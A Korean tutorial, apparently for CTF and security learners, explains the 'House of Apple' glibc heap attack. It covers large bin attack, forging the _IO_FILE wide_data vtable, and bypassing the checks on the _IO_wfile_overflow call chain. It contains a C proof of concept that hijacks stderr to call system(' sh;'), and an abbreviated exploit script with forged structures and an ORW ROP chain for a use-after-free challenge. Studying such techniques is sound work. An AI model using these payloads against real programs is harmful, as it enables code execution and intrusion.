House of Apple은 glibc 2.23부터 최신 버전 2.36까지 사용 가능한 공격 기법이다. 공격 목표는 실행 흐름을 탈취하는 것이다. 활용 조건은 libc 베이스 주소와 힙 주소 누출이 가능해야 하며, 힙 주소를 임의 주소에 쓸 수 있어야 한다(주로 large bin attack 사용). 또한 main 함수 복귀, exit 함수 호출, 또는 __malloc_assert 트리거가 필요하다.
Large Bin Attack 재검토
glibc 업데이트에 따라 힙 주소를 임의 주소에 쓸 수 있는 방법이 제한적이다. Large bin attack의 핵심은 다음과 같다.
- chunkA를 large bin에 진입시킨다.
- chunkA의
bk_nextsize를target_addr - 0x20으로 변경한다(0x20은fd_nextsize오프셋 때문). - chunkA보다 작은 chunkB를 large bin에 진입시킨다.
코드 내부에서 다음 로직이 실행된다.
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
공격 결과: 목표 주소 + 0x20 위치에 chunkB의 시작 주소가 기록된다.
IO_FILE 구조체와 wide_data
FILE 구조체는 열린 파일을 나타내며, chain 필드를 통해 연결 리스트를 형성한다. 리스트의 헤드는 IO_list_all이다. 프로그램 실행 시 stdin, stdout, stderr 세 개의 파일 스트림이 로드된다.
struct _IO_FILE {
int _flags;
char* _IO_read_ptr;
char* _IO_read_end;
char* _IO_read_base;
char* _IO_write_base;
char* _IO_write_ptr;
char* _IO_write_end;
char* _IO_buf_base;
char* _IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
_IO_off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
};
_IO_wide_data 구조체는 다음과 같다.
struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
_IO_jump_t는 파일 스트림의 다형성을 구현하는 함수 포인터 집합이다. _IO_wfile_jumps는 이를 상속받아 와이드 문자 스트림을 지원한다. vtable은 _IO_FILE_plus 구조체 내부의 _IO_jump_t 인스턴스다.
취약점 원리
_IO_FILE의 vtable 검증은 존재하지만, _IO_wide_data의 wide_vtable은 검증되지 않는다. 따라서 wide_vtable을 위조할 수 있다.
호출 체인은 다음과 같다.
_IO_wfile_jumps
-> _IO_wfile_overflow
-> _IO_wdoallocbuf
-> _IO_WDOALLOCATE
-> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
제어해야 할 사항:
- fp의
vtable을_IO_wfile_jumps로 설정 fp->_wide_data->_wide_vtable + 0x68위치에 실행할 코드 주소 배치
함수 및 진입 조건
_IO_OVERFLOW
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0 && fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
_IO_wfile_overflow
_IO_wfile_overflow (FILE *f, wint_t wch) {
if (f->_flags & _IO_NO_WRITES) { // 0x0008 검사1
f->_flags |= _IO_ERR_SEEN;
return WEOF;
}
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0) { // 0x0800 검사2
if (f->_wide_data->_IO_write_base == 0) { // 검사3
_IO_wdoallocbuf (f);
}
}
_IO_wdoallocbuf
_IO_wdoallocbuf (FILE *fp) {
if (fp->_wide_data->_IO_buf_base) // 검사4
return;
if (!(fp->_flags & _IO_UNBUFFERED)) // 0x0002 검사5
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}
우회 조건:
- flag 필드를
~(2 | 0x8 | 0x800)으로 설정 fp->_wide_data->_IO_write_base == 0fp->_wide_data->_IO_buf_base == 0
공격 절차
- 위조된
_IO_FILE의 flag 필드를~(2 | 0x8 | 0x800)으로 설정(셸 획득 시" sh;"로 설정 가능, 앞에 공백 두 개 주의) vtable을_IO_wfile_jumps로 변경- 호출 체인의 검사 우회(
_wide_data->_IO_write_base == 0,_wide_data->_IO_buf_base == 0) _wide_data->_wide_vtable + 0x68에 실행할 코드 주소 기록_IO_OVERFLOW트리거(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
POC 예제
#include<stdio.h>
int main() {
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
long long int libc_base = &printf - 0x60770;
printf("libc_base -------> %llx\n", libc_base);
long long int stderr_address = libc_base + 0x21a6a0;
long long int wide_data_off = stderr_address + 0xa0;
long long int vtable_off = stderr_address + 0xd8;
long long int io_wfile_jumps = libc_base + 0x2160c0;
long long int wd_write_base = *(long long int *)(wide_data_off) + 0x18;
long long int wd_buf_base = *(long long int *)wide_data_off + 0x30;
long long int wide_vtable = libc_base + 0x219980;
long long int system_addr = libc_base + 0x50d60;
long long int write_base_off = stderr_address + 0x20;
long long int buf_base_off = stderr_address + 0x38;
long long int system_ptr = wide_vtable - 8;
*(long long int *)vtable_off = io_wfile_jumps;
*(long long int *)write_base_off = 0;
*(long long int *)wd_write_base = 0;
*(long long int *)wd_buf_base = 0;
*((long long int *)system_ptr) = system_addr;
*(long long int *)wide_vtable = libc_base + 0x219910;
*(long long int *)stderr_address = 0x3b68732020;
exit(0);
return 0;
}
실제 활용 예시
취약점 환경
메뉴 기반 프로그램으로 추가, 삭제, 수정, 출력 기능이 있다. 수정과 출력은 각각 한 번만 가능하며, 출력은 0x10바이트로 제한된다. add 함수는 세 가지 크기 옵션을 제공한다. delete 함수에는 UAF 취약점이 존재한다.
libc 및 힙 주소 누출
add(2) # chunk 0 (large bin attack용 큰 청크)
add(1) # chunk 1 (병합 방지)
add(1) # chunk 2
add(1) # chunk 3 (병합 방지)
delete(0)
delete(2)
write(0) # unsorted bin에서 libc 및 힙 주소 누출
IO_FILE 구조체 위조
Large bin attack을 통해 _IO_list_all에 작은 청크 주소를 기록한 후, unlink를 유발하여 큰 청크 주소를 _IO_list_all에 기록한다. 첫 번째 위조된 구조체의 flag를 직접 제어할 수 없으므로, chain 필드를 통해 두 번째 위조된 구조체로 연결한다. 첫 번째 구조체는 _IO_write_base > _IO_write_ptr로 설정하여 _IO_OVERFLOW를 우회한다.
스택 마이그레이션을 위해 다음 가젯을 사용한다(RDI가 flag 필드를 가리킴).
<svcudp_reply+26>: mov rbp, QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax, QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13, [rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10], 0x0
<svcudp_reply+45>: mov rdi, r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
이를 통해 RSP를 제어하고 ORW 체인을 실행한다.
최종 익스플로잇(축약)
# 위조된 IO_FILE 구조체
io_list = p64(0xdeadbeef)
io_list += p64(~(2|0x8|0x800) + (1<<64))
io_list += p64(0)*3
io_list += p64(0) + p64(1)
io_list += p64(0)
io_list += p64(0xaaaaaaaa)*2
io_list += p64(leak_heap-0xf60-0x18) # RDI+0x48
io_list += p64(0)*10
io_list += p64(leak_heap-0xf50) # _wide_data
io_list += p64(0)*4
io_list += p64(leak_heap-0xe60) # RBP 제어
io_list += p64(add_rsp_418)
io_list += p64(_IO_wfile_jumps)
# wide_data 영역
wide_data = p64(leak_heap-0xf58-0x28)
wide_data += p64(leave_ret)
wide_data += p64(0)*12
wide_data += p64(leak_heap-0xf50-0x28)
wide_data += p64(0)*8
wide_data += p64(0) # RDI+0x48
wide_data += p64(0)*3
wide_data += p64(magic_gadget)
wide_data += p64(leak_heap-0xe80-0x8-0x68)*3
# ORW ROP 체인
rop = p64(pop_rdi) + p64(2)
rop += p64(pop_rsi) + p64(leak_heap-0xb56)
rop += p64(pop_rax) + p64(2)
rop += p64(pop_rdx_r12) + p64(0)*2
rop += p64(syscall)
# read, write 생략...
참고 자료
- https://zikh26.github.io/posts/19609dd.html
- https://www.roderickchan.cn/post/house-of-apple-一种新的glibc中io攻击方法-2/